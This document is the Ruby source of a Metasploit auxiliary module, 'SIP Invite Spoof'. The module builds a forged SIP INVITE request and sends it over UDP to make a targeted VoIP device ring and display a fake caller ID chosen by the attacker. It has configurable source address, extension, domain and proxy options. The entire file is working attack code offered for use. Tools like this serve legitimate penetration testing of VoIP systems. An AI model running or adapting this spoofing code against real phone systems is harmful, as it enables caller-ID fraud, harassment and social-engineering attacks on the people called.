SIP Invite Spoof

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'SIP Invite Spoof',  
'Description' => %q{  
This module will create a fake SIP invite request making the targeted device ring  
and display fake caller id information.  
},  
'Author' =>  
[  
'David Maynor <dave[at]erratasec.com>', # original module  
'ChrisJohnRiley' # modifications  
],  
'License' => MSF_LICENSE  
)  
  
deregister_udp_options  
register_options(  
[  
Opt::RPORT(5060),  
OptString.new('SRCADDR', [true, "The sip address the spoofed call is coming from",'192.168.1.1']),  
OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"]),  
OptString.new('EXTENSION', [false, "The specific extension or name to target", nil]),  
OptString.new('DOMAIN', [false, "Use a specific SIP domain", nil])  
])  
register_advanced_options(  
[  
OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]),  
OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060])  
])  
end  
  
  
def run_host(ip)  
  
begin  
  
name = datastore['MSG']  
src = datastore['SRCADDR']  
ext = datastore['EXTENSION']  
dom = datastore['DOMAIN']  
sphost = datastore['SIP_PROXY_NAME']  
spport = datastore['SIP_PROXY_PORT'] || 5060  
conn_string = ''  
  
if not ext.nil? and not ext.empty?  
# set extension name/number  
conn_string = "#{ext}@"  
end  
  
if not dom.nil? and not dom.empty?  
# set domain  
conn_string << "#{dom}"  
else  
conn_string << "#{ip}"  
end  
  
# set Route header if SIP_PROXY is set  
if not sphost.nil? and not sphost.empty?  
route = "Route: <sip:#{sphost}:#{spport};lr>\r\n"  
end  
  
connect_udp  
  
print_status("Sending Fake SIP Invite to: #{conn_string}")  
print_status("Using SIP proxy #{sphost}:#{spport}") if route  
  
req = "INVITE sip:#{conn_string} SIP/2.0" + "\r\n"  
# add Route: header to req if SIP_PROXY is set  
req << route if route  
req << "To: <sip:#{conn_string}>" + "\r\n"  
req << "Via: SIP/2.0/UDP #{ip}" + "\r\n"  
req << "From: \"#{name}\"<sip:#{src}>" + "\r\n"  
req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n"  
req << "CSeq: 1 INVITE" + "\r\n"  
req << "Max-Forwards: 20" + "\r\n"  
req << "Contact: <sip:#{conn_string}>" + "\r\n\r\n"  
  
udp_sock.put(req)  
disconnect_udp  
  
rescue Errno::EACCES  
end  
  
end  
end  
`